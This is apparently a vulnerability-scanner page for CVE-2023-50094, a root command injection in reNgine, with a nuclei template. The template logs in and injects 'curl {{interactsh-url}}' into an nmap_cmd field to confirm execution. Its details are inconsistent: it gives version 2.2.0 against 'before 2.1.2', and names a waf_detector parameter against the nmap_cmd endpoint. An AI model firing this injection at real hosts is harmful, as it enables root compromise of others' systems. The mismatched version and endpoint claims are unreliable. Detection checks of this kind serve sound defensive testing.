reNgine 2.2.0 - Command Injection

highseverity

8.8CVSS score

13.5%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

reNgine before 2.1.2 allows OS Command Injection if an adversary has a valid session ID. The attack places shell metacharacters in an api/tools/waf_detector/?url= string. The commands are executed as root via subprocess.check_output.

Impact

Authenticated attackers can inject arbitrary OS commands that execute as root, leading to complete system compromise and data exfiltration.

Fix

Upgrade reNgine to version 2.1.2 or later which includes proper input validation.

How to confirm it

Send: GET /
Positive when: contains(tolower(body), "rengine")
Send: POST /login ; POST /scan-engine/update
Positive when: contains(interactsh_protocol_2, "dns") and status_code_2 == 200

Run it with nuclei: nuclei -id CVE-2023-50094 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2023-50094

info:
  name: reNgine 2.2.0 - Command Injection
  author: Zierax
  severity: high
  description: |
    reNgine before 2.1.2 allows OS Command Injection if an adversary has a valid session ID. The attack places shell metacharacters in an api/tools/waf_detector/?url= string. The commands are executed as root via subprocess.check_output.
  impact: |
    Authenticated attackers can inject arbitrary OS commands that execute as root, leading to complete system compromise and data exfiltration.
  remediation: |
    Upgrade reNgine to version 2.1.2 or later which includes proper input validation.
  reference:
    - https://github.com/yogeshojha/rengine
    - https://github.com/Zierax/CVE-2023-50094_POC
    - https://nvd.nist.gov/vuln/detail/CVE-2023-50094
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2023-50094
    cwe-id: CWE-78
    epss-score: 0.1354
    epss-percentile: 0.96485
    cpe: cpe:2.3:a:yogeshojha:rengine:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: yogeshojha
    product: rengine
    shodan-query: title:"reNgine"
  tags: cve,cve2023,rengine,rce,injection,authenticated,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'contains(tolower(body), "rengine")'
        internal: true

  - raw:
      - |
        POST /login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}

      - |
        POST /scan-engine/update HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"nmap_cmd": 'curl {{interactsh-url}}'}

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol_2, "dns")'
          - 'status_code_2 == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from